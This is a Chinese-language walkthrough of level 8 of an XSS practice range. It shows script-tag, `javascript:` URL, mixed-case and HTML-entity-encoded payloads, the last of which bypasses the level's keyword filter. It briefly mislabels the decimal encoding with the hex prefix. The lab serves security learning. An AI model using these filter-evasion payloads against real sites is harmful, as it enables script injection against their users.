XSS-8注入靶场闯关(小游戏)——第八关

1、话不多说:<script>alert(1)</script>

从这里可以看到，我们添加的语句，被添加到下方，作为一个连接，并且script被重写了

 2、既然可以做连接，那么直接:  javascript:alert(1)

这里反馈结果可以看到，字符串被 替换了

尝试大小写绕过JAvaScRIpt:alert(1)，同样这里前端做了处理

先把内容全部小写之后才传入，所以无效。

3、进行html 实体编码注入

 首先将   javascript:alert(1)   进行转换，这里转换之后后台就不能识别这个内容，但是html能够识别，所以就不会被后台替换

 输入：转义之后的代码

十进制

（这个  #x是固定搭配，后面是对应得十进制ASCLL 码值——对应得是 j ）

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

 十六进制

（这个  #x是固定搭配，后面两位 如 ：6A是16进制的ASCLL码值——对应得是 j ）

 &#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

4、这里尝试十进制的

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

 5、单击连接通关

回顾：这里我们可以看到，我们传入的HTML实体字符串并没有被过滤，虽然我不认识，后台不认识，但是前端认识。点就完了。